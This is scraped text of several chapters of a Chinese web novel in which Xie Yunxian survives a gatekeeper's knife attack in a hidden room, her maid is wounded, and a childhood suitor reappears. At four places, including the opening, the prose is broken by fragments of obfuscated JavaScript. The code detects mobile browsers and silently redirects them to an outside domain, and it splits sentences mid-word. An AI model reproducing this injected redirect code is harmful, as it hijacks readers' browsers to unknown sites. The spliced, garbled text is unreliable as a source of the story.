l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883560|176408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云闲。 “二姑娘,我早就警告过您,不该插手的事别插手,否则——任何人都要为自己的多管闲事付出代价。” 谢云闲神经紧绷,脑中飞速运转,目光搜寻着可以防身的物件。 “不用想了,姑娘。”门房从身后掏出一把匕首,刀锋泛着残酷的冷光,“躲不掉的。” 谢云闲脑中灵光一现:“你是纵火之人?” 门房露出不怀好意的笑:“不止。” 谢云闲藏于身后的手微微发颤,她一惊:“你是那扮鬼之人?” 那人笑而不答。 五年前开始出现在谢府…… 身为门房,熟悉旧宅各处,行事便捷…… 不会有错。 就是他! “果然是你。”谢云闲沉声道,“你是什么人?谁派来的?” “二姑娘临死之前,还有心思关心这些?” 谢云闲顺着他的话,拖着时间,“要是死得不明不白,那也太惨了。” “不愧是谢二姑娘!”那人笑道,“可惜了,您原本不用死的。” “是什么让你变了主意?” “是您啊,二姑娘。 “既然您不听告诫,非要横插一脚,我便只能夺您性命了。 “毕竟,您知道的,死人,最听话。” 荷华吓得双腿不住得发抖,仍愤怒警告道:“你若敢伤二姑娘,谢崔二家必不会轻饶你!” 那人哈哈大笑:“谁知是我伤的呢?” “无人知此暗室,无人知晓姑娘来过,即便你们死在这里,也不会有人查至此处,只当二姑娘是逃走了或是失踪了。” 谢云闲盯着他。 “即便他们真找到了这里,我还能在这里等着别人来抓我不成?” 谢云闲掌心早已汗水涔涔,她知他并非戏言,他做得出来。 但她咬舌让自己冷静下来:“……方才有一个小丫鬟给我开了门。” “豆蔻年纪的小丫头片子说的话有几分重量呢?” “只要我将这匕首架在她脖子上,便可轻松封住她的嘴。” 谢云闲攥紧拳头。 荷华愤怒得牙齿颤颤:“你!” 两人距离拉近,谢云闲背靠石壁,已退无可退——而此时,那人出手了! 他身影如幻,根本看不清,只能看见一道虚影,与扮鬼那日一模一样,直冲朝谢云闲而来! 谢云闲拎起身侧沉沉的木椅,朝他掷去,被他轻巧躲过。 “住手!住手!”荷华忍不住叫道。 谢云闲已被逼入绝路,那人毫无留情之意,步步紧逼,匕首直指谢云闲胸口! “姑娘——” 荷华这一声喊叫戛然而止。 荷华将谢云闲一把推开,锋利的匕首——插入了她腹中。 鲜血喷涌而出。 荷华两眼一阖,手指垂了下去。 “荷华!” 谢云闲脸上颜色尽失。 那人发出一声不满:“啧。”随后手伸向匕首,试图将其拔出。 “不——” 谢云闲冲上去,拼尽全力掐住那人脖子。 对方毫无防备,被她掐得呼吸不畅,满脸通红,手一抖,松开了匕首。 18. 箭难防 日落西山,暮色四合。 谢府旧宅墙外有一棵高大树木,枝繁叶茂,卢青蜷身藏于上面,视线紧紧盯着谢观声的书房,时刻注意着里面的动静。 谢云闲进去已久,至今还未出来。 他隐隐觉得不对劲,却拿不定主意,是要直接行动还是稍候片刻。 “啪。”一颗小石子打在他脚边,力道角度拿捏得十分精准。 卢青反应敏捷,右手按在剑柄上,一转头,却看见崔灵景不知何时来了,正站在树下看他。 卢青手一松,从树上一跃而下。 “公子,您怎么来了?” 崔灵景朝向谢府抬抬下巴:“什么情况?” 卢青如实禀告:“二姑娘进去半个时辰了,还没出来。不知是不是受她传唤,方才那门房也推门进去了……” 卢青话音一止,意识到不对。 崔灵景神色凝重,果断决定:“走。” 两人闪身到偏门,卢青侧身敲门,一个小丫鬟开了门。 卢青问她:“谢二姑娘可回来过?” 小丫鬟警惕地盯着他,不知他是何人,犹豫道:“回来了,去了二公子院子里,说要……” 她话未说完,就被卢青一掌劈晕了过去。 藏于暗处的崔灵景现身,两人悄然无息地进了谢府。 府内僻静,树影绰绰,卢青心中不安加剧:“公子,二姑娘不会出什么事吧?” 崔灵景没说话,加快了脚下步伐。 书房内寂然无声,谢云闲还在书房里,房门却从内锁上了。 卢青:“糟了!” 崔灵景率先反应,手疾眼快抽出卢青别在身侧的剑,手腕灵巧一动,门锁应声而落。 房门被卢青一脚踹开,“嘭”地闹出巨大动静。 可屋内毫无反应——里面一个人都没有。 借着烛火,两人一眼就注意到了墙上敞开的暗室密道。 卢青看了一眼崔灵景,开始放声呼喊:“谢姑娘!谢姑娘——您在里面吗?谢姑娘?” 本该是卢青在前探路,崔灵景却先一步走了进去。 卢青连忙跟上:“公子小心……” - 谢云闲的手在发抖。 她抱着荷华,衣衫上沾满了荷华的血,滚烫且灼目。 荷华昏迷不醒,腰腹还插着那把锋利的匕首……她动也不敢动。 方才她掐着门房的脖子,被他拽住领子,“嘭”地把她重重摁在了墙上。 谢云闲后背摔在墙上,脑袋磕到坚硬石壁,眼冒金星。 门房被她激怒,狞笑道:“谢二姑娘,胆识不小啊。” 战局瞬转,门房单手掐住了她的脖子。 “唔!”谢云闲下意识挣扎。 然而两人力量悬殊,谢云闲挣扎无果,很快,脖子和脸上都胀起不正常的红。 “就算没有刀,我照样可以杀掉你!” 他故意松了松禁锢着她的手,用时重时轻力度反复折磨着谢云闲。 谢云闲越是挣扎,他越高兴。 “不……”谢云闲喉间发出微弱气声。 “还想挣扎?”门房好笑地看着她,右手一点点加大力度。 “……唔!” 谢云闲紧咬牙关,抵抗着窒息感和眩晕感,尽力让自己保持清醒。 不,她不能死。 她还要救荷华! 谢云闲抬起了握成拳的右手。 那人完全不把她当一回事,笑眯眯地看着她毫无作用的挣扎。 “放弃吧。” 谢云闲艰难地用右手去够掐着自己脖子的那只手。 还差半指距离时,那人突然加重了力度! “呃——” 谢云闲头微仰,完全呼吸不上来。 那人嘲讽一笑:“没用的,谢二姑……” 几乎是凭着最后一丝意志,谢云闲摸到了他的手,并将手心里藏了许久的光杆镖刺入了对方的手腕! “嘶——”鲜血渗出,那人立即吃痛地松了手。 谢云闲顺着墙面,直挺挺地滑落在地。外面传来一声巨大声响,隐约还听见卢青在唤她的名字。 她捂着脖子,忍不住重重咳起来,拼命呼吸着空气,咳得眼泪都渗了出来。 …… 崔灵景走进密室时,看见谢云闲正吃力地将浑身是血的荷华从地上扶起。 卢青见状,立刻冲上前,从谢云闲手中接过了摇摇欲坠的荷华。 谢云闲手上一轻,心却仿佛一脚踏空,被失重感侵袭。 她的脸色异常苍白,满目焦急,声音嘶哑地喊道:“救救她!快救救她!” 卢青动作很轻地将荷华抱起,转头问她:“姑娘可有受伤?” 谢云闲连连摇头,手足无措地看着呼吸渐弱的荷华,慌乱得几乎说不顺话:“我没事!快、快带她去医馆!救人要紧!” 卢青点头,脚下生风般带着荷华迅速撤离了暗室。 眼见荷华被带走,消失在视线中,谢云闲突然腿一软。 预料中的跌坐在地并未发生,一个身影快步走过来,伸手揽住了她的腰。 崔灵景与谢云闲面对面而立,能清晰看见她眼底的血丝。 谢云闲从未如此狼狈过。 散乱交错的长发披在肩头,脸上血色全无,眼神空洞失焦,靠紧咬红唇才能维持冷静淡定。 两人隔着衣料身体相贴,崔灵景能感受到谢云闲还未平复的心在剧烈跳动,诉尽恐慌和不安。 “咳、咳。” 喉咙仍有些不适,谢云闲忍不住,当着崔灵景的面咳了两声。 崔灵景果然有所察觉,盯着她问:“怎么了?” 谢云闲移开目光,不与他对视,低声问:“你们怎会出现在这里……” “你早上出门,一日未归,母亲担心出事,让我去寻,故追寻至此。” 谢云闲惊魂未定,但强装着彬彬有礼,唇角勾起一抹牵强的笑意,“今日……多谢了。” 崔灵景沉默一瞬,问:“是何人害你们?” 谢云闲垂头耷脑:“不知。” “人呢?”崔灵景环顾四周,并未发现其他人的存在,但地面一片狼藉,打斗和挣扎的痕迹昭示着有人来过。 崔灵景眉头一蹙,谢云闲跟对方动了手? 谢云闲闭了闭眼,“听见你们的声音,他就逃了。” “怎么离开的?” 谢云闲无力道:“应当是走了另一条密道,但我没看清……” 那一瞬谢云闲眼前一黑,几乎看不见东西,喉咙也发痒难耐。 “此处闭塞,不难查。” 谢云闲抬起右手,按在崔灵景胸膛上,欲将他推开:“我没事了,你放开我。” 崔灵景却一把抓住她的手腕。 谢云闲手腕纤细,他两指便能将其圈住。 崔灵景看见谢云闲手心被划了一道口子,正不断地渗出血。 “那人伤的?”崔灵景问。 谢云闲手掌握成拳,不让他看,拳头抵在他的胸口,又使了点力气,试图将他推开。 “不是。放开我……” 可崔灵景仍一手揽着她的腰,一手握着她的手腕,明明感觉他未使力,可谢云闲无论怎么挣扎,都觉得有一股强大力量禁锢着自己,而崔灵景岿然不动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883561|176408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我要去看荷华……” 谢云闲身心俱疲,但还强撑着,脑中有一个声音不断地提醒她:不能停,不能松懈,荷华还没醒过来! 崔灵景看着她,“手,怎么伤的?” “咳咳,咳咳……”谢云闲突然咳了起来。 崔灵景松开了她的手腕,指尖轻轻碰了碰她的喉咙——那里有一道不明显的红痕。 谢云闲敏感地偏头躲闪。 “……” 崔灵景猜出了大概,心底窜起一股莫名火气。 谢云闲咳完,才缓缓道:“今天去了官府……从小吏那里要了一枚光杆镖……刚才藏于手心,攥得紧……就划破了……” 谢云闲还在挣扎,想要脱离他的桎梏。 崔灵景盯着她憔悴失神的面容,叹了口气,卸了力,松了手。 谢云闲心挂荷华,急忙往外走,不小心牵扯到肩胛骨的淤伤,身形一晃。 “……” 一向温文尔雅的崔四公子难得脸色不太好看。 他走上前,将谢云闲打横抱起。 谢云闲被他的举动吓一跳:“崔灵景!” - 百草堂。 荷华在里间接受卫大夫的治疗,未卜生死。 据卢青所言,到医馆时,荷华还有呼吸。 崔灵景吩咐卢青:“找个大夫来。” 卢青应下,掀帘而出,屋内只剩下谢云闲与崔灵景二人。 谢云闲出神地坐着,眼前反复重演暗室内的画面,恍如一场噩梦。 可倒在自己怀里的荷华和那赤红鲜血告诉她——不是梦。若非崔灵景和卢青及时赶到,她们就死了。 谢云闲再怎么艺高胆大,也不过是从小娇生惯养的闺阁大小姐,何曾经历过这样的事? 小时候因为顽皮,磕磕绊绊常有,但谁也不会用刀子指着她,扬言要杀她,还差点成功了。 只是想想,便觉得后怕。 “疼不疼?”崔灵景忽然开口。 谢云闲摔在墙上那一下,摔得浑身都疼,但她知道崔灵景问的是她手心的伤口,于是摇头:“还好。” 比起其他疼痛,比起为了自己身负重伤的荷华,都不算什么。 是啊。 那人警告过她的。 荷华也曾三番两次提醒她要注意安全。 是她不听劝告。 是她贸然行动。 是她盲目自大。 是她莽撞地闯了进去。 事情会变成这样,都是因为她。 如果她小心一点,如果当初她因为警告退怯,放弃追查此事……荷华也不会遭此劫难。 如果……如果荷华真的…… 不。 谢云闲克制着自己不去想。 可漫天思绪如洪水,几乎将她淹没。 荷华分明是个夜里听见风声都会吓得睡不着的人,可她却在危机时刻,挺身挡在她面前,强忍着恐惧直面锐利刀尖。 谢云闲感觉有什么东西从眼眶中滑落。 根本控制不住。 怎么可能控制得住呢? “谢云闲。” 崔灵景在她面前半蹲下来,与她平视。 “听我说。” 他盯着那双水光弥漫的眸子,几乎算得上轻柔地喊她。 谢云闲稍稍回过神,与他对视,视线却被泪水模糊,怎么都看不清崔灵景的脸。 “没事了。”崔灵景轻声安抚她,“不会有事的。” “……” 沉默半晌,谢云闲道:“崔四公子,可以抱一下吗。” 崔灵景没说话,伸手将她揽入怀中。 19. 岔路口 “公子,姑娘,大夫来了……咳。” 卢青匆匆闯入,又紧急闭上了眼。 谢云闲闻声从崔灵景怀中抽身。 她抵在崔灵景肩上的脑袋猛然抬起,不小心撞到了他的下巴。 崔灵景微微吃痛,“啧”了一声。 谢云闲目露歉意,下意识伸手碰了碰他的下巴,略微尴尬道:“对不住,你可有伤到……” “无碍。” 崔灵景眼神扫过某个破坏氛围的人。 卢青垂下目光,轻咳一声,正色道:“大夫来了。” “带进来。” 大夫提着药箱,进来给谢云闲处理手心的伤口。 察觉崔灵景目光落在自己身上,谢云闲强忍着将痛呼咽了回去。 方才她头脑一热,情绪漫上来,才说了那句话,没想到崔灵景当了真,直接将她拥入了怀中。 这会脑袋稍微清醒了,她不禁面热,双手双脚都不自然了。 大夫问她:“姑娘身上可还有其他伤处?” 谢云闲微顿,没直接回答,而是问:“可有活血化瘀效用的药膏?” 大夫起身去给她取。 卢青再次从外掀帘而入,道:“卫大夫出来了,说匕首上无毒,不伤及要害,性命保住了,但不知何时能醒来。” 谢云闲长睫垂落,嘴唇翕动,“都怪我。” 崔灵景眼神示意卢青先离开。 卢青退下后,他侧头问谢云闲:“可要回去休息一会?” “我想等荷华醒来。” “她一时半会可醒不来。”卫大夫从外面走了进来。 谢云闲从椅子上弹了起来:“卫大夫,她几时才能好起来?” 卫大夫摸着白须道:“不好说。虽未伤及要害,但伤口深,失血过多,至少一个月才能恢复如初。” 谢云闲眼神一暗,竟要一个月? “医馆打烊了,没事的话就赶紧回去,这里自会有人照顾她。”卫大夫毫不客气地开始逐客。 崔灵景也劝她:“走吧,明日再来。” 谢云闲犹豫一会,点了点头。 …… 路歌在屋内等了半天,坐下又站起,站起又坐下,反反复复,难掩焦急。 她等得抓心挠肺,暗骂崔灵景不靠谱。 这么晚了?人到底哪里去了?难不成真出事了? 皓儿不会也遭遇不测了吧……呸呸呸! 别担心,别担心,呼,呼——有卢青呢。 终于,远远的,听见门外有声响,路歌连外衣都来不及披,就急匆匆走了出去。 “可算回来了!” 路歌牵起谢云闲的玉手,轻抚道:“可是出了什么事?为何这么晚才回来?” 谢云闲见她衣薄,便道:“外头冷,咱们进去说。” 三人进了卧房,红灯笼里的火光给春夜添了些暖意。房门一关,谢云闲感受到一丝久违的安心。 澄亮烛火照在谢云闲落魄颓唐的面容上,路歌大吃一惊,踌躇着却不知如何开口,只能偷偷用眼神询问崔灵景。 崔灵景不知是装的还是真没看见,没理会她灼热的目光,只给她倒了杯茶,说让她暖暖身子。 借着火光,路歌注意到谢云闲红唇上的咬痕,瞠目结舌,厉声质问:“崔皓!你怎么把人家嘴给咬破了?” “……” 这一句突如其来的问话,让谢云闲与崔灵景同时陷入了沉默。 路歌瞪着他:“说话啊!” 谢云闲赶忙解释:“路姨娘,这是我自己不小心咬到的,不……不是他咬的。” 崔灵景向路歌投去无辜的目光。 “那你……”路歌看着谢云闲,支支吾吾。 谢云闲浅笑:“路姨娘直说罢。” 路歌早就忍不住了,得到应允,当即连珠炮似地发问:“怎么闹得这么狼狈?吵架了?崔灵景对你动手了?他打你了?还是……” 眼见路歌越猜越离奇,谢云闲不得不制止:“没有的事,我半路遭遇绑匪,还是崔……夫君救了我。” 崔灵景“嗯”了一声,表示这是实话。 “绑匪?!”路歌惊呼,“可有伤到哪?怎么会遇到绑匪?可有报官?这、这万一皓儿去迟了,岂不……” 谢云闲宽慰她:“并无大碍,姨娘不必担心。” 路歌松了口气:“那便好。” 崔灵景道:“有我在呢。” 路歌狐疑地盯着崔灵景看了又看,最终嗟叹:“也是……我量你也没这本事和胆子!” 她又望向谢云闲,满眼心疼和关怀,软声道:“你要是在他那受了什么委屈,尽管跟姨娘说,他要是敢欺负你,我把他皮给剥了!” 崔灵景咳嗽几声。 谢云闲觉得好笑,为他讲了句好话:“多谢路姨娘,夫君文质彬彬,不会做那些粗暴鲁莽之事。” “他……” 眼看路歌又要长篇大论,崔灵景适时打断她,对谢云闲道:“夫人想必筋疲力竭,早些沐浴歇息吧,我待会让人送些吃的来。” 路歌听他这么说,不忍再烦谢云闲,终于放过了身心交病的两人,叮嘱几番后回去了。 路歌走后不久,崔灵景就去了书房,将卧房留给了谢云闲。 谢云闲刚褪去外衣,一个婢女就走了进来,朝她作揖行礼:“四夫人,小婢采薇,四公子命我来服侍您。” 谢云闲一愣,随后点点头。 崔灵景应当是顾忌她伤口不便,荷华又不在,就找了个丫鬟来照顾她。 采薇年幼,态度谨慎小心,举止卑微恭敬,看着涉世不深,心思单纯。 “你一直跟在四公子身边?” 采薇怯生生摇头:“奴婢年初刚入崔府。” “你是他的贴身丫鬟?” 谢云闲仔细想了想,跟在崔灵景身边的,算得上贴身的仆从,似乎从来只有卢青一人。 采薇摇头,“前些日子大夫人给四公子安排了一个贴身丫鬟,不久后因摔坏四公子的东西,被罚去东厨做事了。” 谢云闲心想,这贴身丫鬟想必是宁元珍故意安排在崔灵景身边的,崔灵景借着这事把她给支走了。 想着,谢云闲又觉得奇怪。 虽说宁元珍贵为长公主,瞧不起崔灵景的出身,但不至于专门派人监视他吧?从昨日堂上对话也可看出,宁元珍对崔灵景,不止厌弃,还在提防他。 以崔灵景的身份地位,不足以成为崔昊水的威胁才对。 “四夫人,我服侍您更衣吧。” 谢云闲回过神,道了声好。 - “霄儿……” “霄儿……” 黑暗中,谢云闲听见有人在唤她,声音十分熟悉。 但她什么都看不见、摸不着,身体在往下坠,底下是无底深渊。 “救命……”她心底蔓生出惧意。 那人仍在喊她,声音愈发清晰。 “霄儿……” “霄儿……” 阿娘! 谢云闲终于反应了过来——是阿娘! 霎时,眼前一晃,黑雾散去,露出真容。 白溪躺在榻上,面容憔悴,嘴唇发白,眉眼间尽是倦意,仿似随时会昏过去。 谢云闲扑倒她身旁,喊她:“阿娘!阿娘!” “霄儿……”白溪从被褥里伸出一只手,颤抖着握住了谢云闲。 “阿娘……” 白溪用尽力气,指甲嵌入她的皮肉,抓得她有些疼。 只见白溪唇齿微动,似乎有话想说。 谢云闲将耳朵贴近她,低声问:“怎么了阿娘,可是哪里不适?” 白溪滚烫的呼吸喷在她耳侧,用微不可闻的气音道:“霄儿……阿娘不在……你……要警惕……身边…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883562|176408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “嘭!” 有人用力推开了门。 谢云闲惊起,转过头,看见了门房那狰狞可怖的面孔,他手里的匕首还泛着寒光。 谢云闲汗毛竖立,如遭锤击。 与此同时,白溪紧攥着她的手蓦然一松,垂了下去。 谢云闲立刻转头去看——然而白溪不见了,变成了倒在血泊里的荷华。 “不!”谢云闲惊呼出声,几乎破了嗓。 门房逐步靠近,握着匕首冲她袭来,可她顾不上那么多,伸手去探荷华的鼻息。 没有。 没有呼吸。 谢云闲的心一下子掉入冰窟,连带着四肢百骸都被冻住,彻骨的寒钻进骨子里。 不。 不! “不——”谢云闲尖叫一声,猛地从床上坐起。 冷汗顺着额头滑进里衣,她满目血丝,眼圈发红。 原来是梦…… 幸好是梦。 采薇推门而入,见谢云闲起来了,惊讶道:“四夫人您醒了?” 她推门而入那一瞬,谢云闲恍惚了一下,还以为是荷华。 不是荷华——荷华还躺在医馆里。 对,荷华没死。 刚刚那是一个梦。 但也是差点成真的梦。 梦已醒,恐惧却还在折磨着她,不安稳的心在胸腔里横冲直撞。 不行。 再这样下去,一定会有更多人为她丧命。 谢云闲双手攥紧,久久无法平静心情。 梦里母亲的话还回荡在耳边。 尽管大夫说母亲那时精神不稳定,意识已不清醒,可她真切感觉到,白溪是清醒的——她有话想说。 她究竟想说什么? 这个疑问一直困扰着谢云闲。 她从未与任何人提及,私下却耿耿于怀,一直在寻找答案。 直觉告诉她,母亲的未竟之言,与姐姐的死亡有关。 可真的还要查下去吗? 墙下的尸体、二哥房中的暗室、昏迷不醒的荷华……谢云闲不敢往下想。 她不希望再有人为自己受伤了。 “四夫人,您怎么了?”小丫鬟望着呆呆发愣的谢云闲,不知所措地立在一旁。 谢云闲将被冷汗浸湿的长发拨至脑后,问:“什么时辰了?” 小丫鬟道:“辰时一刻。” “方才四公子说有事与夫人商议,让您起来后去一趟书房。” 谢云闲应下,洗漱过后,直奔书房去找崔灵景。 谢云闲单刀直入:“什么事?可是荷华醒了?” “她还没醒。”崔灵景也开门见山道,“我是想与你商议回门一事。” 谢云闲一怔。 若非崔灵景提起,她都忘了这事。细细算了算,今日便该回益州了。 不行。 荷华还未醒来,她还不能走。 她语气有些着急:“可否推迟几日?荷华重伤未醒,我不想提心吊胆地回去,留她一人在建康。” 崔灵景点头:“我正是这样打算。” “料想你放心不下,且你身上的伤尚未痊愈,长途奔波,难免磕碰,便想推迟了几日。反正从建康至益州,路远迢迢,也不差这几日。待荷华醒来,你伤口恢复后,我们再走不迟。” 崔灵景的话在谢云闲意料之外,她错愕一瞬,随后真心诚意地道了一声谢。 若说心中毫无波澜,那是谎话。 谢云闲此时心中最挂念的便是荷华,崔灵景挂念着她所挂念的,她又不是铁石心肠之人,不免被打动。 “咚咚。” 采薇敲门而入,对谢云闲道:“四夫人,外头有人找您。” “何人?” “那人自称关秉良,看起来很生气……说一定要见您。” 谢云闲石塑般呆愣在原地。 20. 总角情 七年前。 “霄儿?霄儿?” “谢霄——谢霄——” “阿良,你找到霄儿了吗?”春风掀起少女的石榴裙摆,她背靠在墙上,微喘着气。 绿荫下的少年摇头跺脚:“找遍了,这次又不知躲哪儿去了。” “唉……”少女叹气,“别出什么事便好。” 少年定定望着忧愁的少女,拍了拍胸脯,保证:“你别担心,我一定会把她找出……啊!” 一颗小石子砸在了他的脑袋上。 少年怒气冲冲转过身,“谢霄!” 笑容明媚的少女从树上探出头,像只灵巧小雀,笑吟吟道:“哟,关小将军又来找我姐姐啦?” 谢微芳被她吓了一跳,“霄儿快下来,上面危险,可别摔了!” 谢霄拍拍裙摆,身轻如燕,从树上一跃而下。 谢微芳担心她,冲上前,伸出双手去接她。 两人身体撞在一起,谢微芳被谢霄扑了满怀,两人一同摔在了软绵绵的草地上,沾了一身泥。 “没事吧?” 关秉良一个箭步冲上去将谢微芳扶起,小脸紧绷,紧张得很。 谢霄看在眼里,打趣道:“你只扶姐姐,我也摔了,怎么不关心我?” 关秉良脸涨得通红:“你姐姐大病初愈,我、我照顾点怎么了?” 谢霄乘胜追击:“那你今日来找姐姐做什么?” 关秉良又一噎,两条手臂局促地晃来晃去。 “我、我……” “不如让我猜猜。”谢霄狡黠一笑,“可是来找姐姐放纸鸢?” 关秉良难以置信:“你怎么猜出来的?” “天朗气清,惠风和畅,你打扮得这般正式,又是驱车而来,是要邀某人一起去郊外赏春吧?明日正好是清明,那便是放纸鸢了。” 关秉良被堵得说不出话来,谢微芳却笑得眉眼弯弯:“霄儿真聪明!” 谢霄一把拥住谢微芳:“多谢姐姐夸赞。” …… 七年后。 转眼又快到了清明放纸鸢的时节。 天气如往年一样好,天空澄净,微风和煦,吹得满城都是花草芳香。 谢云闲和关秉良负手站在崔府门前,关秉良脸色铁青,而谢云闲平淡如水。 “谢云闲……” 谢云闲却打断他:“此处人多眼杂,去别处再说。” 两人寻了一处僻静茶肆,确保隔墙无耳,才相对而坐。 谢云闲呷了一口清茶,缓缓开口:“关将军不是驻守秦州吗,怎么回来了。” 关秉良无意客套,直奔主题:“谢云闲,若非旁人向我提起,你是不是永远不会告诉我联姻之事?” 关秉良得知此事时,正是谢云闲抵达建康那日。 得知消息的他气得在帐内打转,当即向父亲申请,要回一趟建康。 得到允诺后,他即刻动身,只身一人,快马加鞭赶回建康。不想还是迟了,没在她成亲前赶回来。 “关将军现在不就知道了。”谢云闲淡淡道。 “你喜欢那个崔灵景?可我听说是两家联姻,你才嫁给他的,你不是自愿的吧?”关秉良不确定地问。 谢云闲微笑:“关将军不关心戍边战事,反倒关心这些做什么。” 关秉良声量骤然提高:“你分明知道……” “知道什么?”谢云闲斯文典雅,也给他倒了杯茶,“知道关将军的一片心意?” 被她抢先了话,关秉良沉默不语。 谢云闲对着他笑:“若我不嫁给崔灵景,关将军打算何时娶我?” “还是说关将军只是喜欢我,无意娶我,却要我对您的喜欢负责?” 谢云闲艳唇一张一合,说出的话针针见血,针针都戳在了关秉良心上。 关秉良昨夜才到建康,一夜未眠,天未亮就跑到崔府找谢云闲,一直等到天明。 没想到刚见面还没聊几句,谢云闲就给他兜头一盆冷水,浇得他心凉。 谢云闲还是跟小时候一样,表面温婉依人,唯命是从,实则嘴下不饶人,每次都能把他怼得说不出话来。 关秉良愣愣张着嘴,支吾半天,“我……” 谢云闲没放过他,“如今我嫁了人,关将军才来找我,撩拨有妇之夫,又是几个意思呢?” 关秉良才发了一句脾气,就被谢云闲追着怼了好几句,他想不明白,只得小心翼翼揣测道:“你在为崔灵景说话?” 谢云闲脸色冷了下来,“关将军,我并不在为任何人说话,我只是想提醒您,今时不同往日,我嫁给谁,谁娶了我,都与您无关。” 关秉良握着茶杯的手收紧了力度,斟满的茶水溢了出来。 他不死心地问:“我走之前,你说等我,是几个意思?” “等您凯旋,有何不对?那年打了胜战,您也没有回来吧?一走便是三年,先失信的不是我,是关将军您吧。” 关秉良沉默片刻,“……我说不过你。” 谢云闲嗤笑:“你没道理,自然说不过我。” 关秉良又问:“你既不喜欢他,为何要嫁给他?” “我何时说过我不喜欢他?” 关秉良惊讶:“你喜欢他?你喜欢崔灵景?” 跟一根筋的人就是难聊。 谢云闲在心里哀叹。 关秉良见她不说话,当她是默认了,“噌”地起身,还打翻了茶杯。 “你以前在益州,他在建康,你怎会喜欢上他?” “你们什么时候认识的?难不成、难不成以前在建康,你们就认识了?” 那还真没有。 “我听说那崔四公子身体不好,是个肺痨子,你喜欢这种?你、你喜欢自己主动点?” 你在说什么啊! 他又自顾自地说:“也是……你从小爱慕自由,若非真喜欢,也不会答应……” 谢云闲见他一个人纠结了起来,忍不住扶额叹息。 “喂。” 关秉良定定地看着她。 从前谢云闲笑他像小狗,总是眼巴巴地盯着谢微芳看,谢微芳一招手,他就忙不迭地跑去为她端茶递水。而此刻,谢云闲觉得他像极了一只流着哈喇子的蠢狗。 谢云闲屈指敲敲桌子,问:“你回来究竟为了什么?” 从小一起长大,总角之情,亲密无间,什么样子没见过?谢云闲也懒得在他面前装体贴了。 然而关秉良的话让她差点一口气背过去。 关秉良真诚地看着她:“抢婚。” 谢云闲惊得有些语无伦次:“你、你抢什么婚?抢谁的婚?啊?” 真想给他一拳! 关秉良瞪着无辜的杏眼,十分不解:“你当真不明白?” 他有些困惑:“我走之前跟你说清心意了啊?” 谢云闲如鲠在喉。 关秉良这脑子究竟怎么当上副将的? 谢云闲见他站着,自己坐着,还得仰长脖子看他,便也站了起来,“你当真喜欢我?” 关秉良点头:“是啊。” 谢云闲气得咬牙切齿:“好,行,那你说说,你喜欢我什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883563|176408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?你要说好听了,我就去跟崔灵景和离。” 谢云闲一气之下没刹住话,却忘了关秉良是个实心的,没心眼子,容易当真:“崔灵景会答应吗?” 谢云闲:“……” 关秉良道:“我与你认识这么多年,知根知底,情投意合,难道不是良配?我跟阿娘说了,以后会娶你,别的姑娘我也不熟,除了你,我想不到别人了……你为何不愿跟我一起?” “这是成亲!不是交友!”谢云闲要被气昏了,怒骂道:“你结婚是为了找个人跟你一起踏春放纸鸢吗?成亲是两个人、两颗心的事,要同床共枕,相濡以沫,被翻红浪,行云雨之事……” 关秉良大惊失色:“所以你已跟崔灵景行云雨之事?” 谢云闲:“……” 她决定今日不再跟关秉良说话。 …… 无情地将关秉良丢在茶肆后,谢云闲去百草堂探荷华。 卫大夫说她半夜醒过一次,很快又昏了过去,至今未醒。 听说她醒了,谢云闲稍微放了点心,“过几日我便要离开,如果她能醒来就太好了。” 卫大夫脚步一顿,“姑娘要离开建康?” 谢云闲点头:“新婚归宁,该回一趟益州。本该今日走的,实在放心不下,便推迟了两三日。” 卫大夫没多问,只是说:“走之前让崔灵景来我这里取药。” 他直呼崔灵景姓名,没用尊称,可见两人交情不浅。 也是,崔灵景自小病弱,想必时常往百草堂跑,一回生二回熟。 “我会转告他的。” 谢云闲想起什么,问:“卫大夫,我看四公子伤病已久,可是难治之症?” 卫大夫手上动作未停:“心病罢。” 谢云闲一愣,竟与崔灵景所言一致,她还怀疑是崔灵景诓自己的。 “他那咳嗽之症是天生的?” “他十五岁那个冬夜,跟人闹了口角,把对方推进了池里,被崔太保罚在雪地里跪了一夜,受了凉,便落了病根。每逢天寒,就手寒脚寒,吸点冷风进肺里,就咳个不停。如今天暖,会好些,不过还是要按时吃药调理。” 崔灵景面对崔净风挑衅时的无动于衷,与卫大夫描述里简直判若两人。 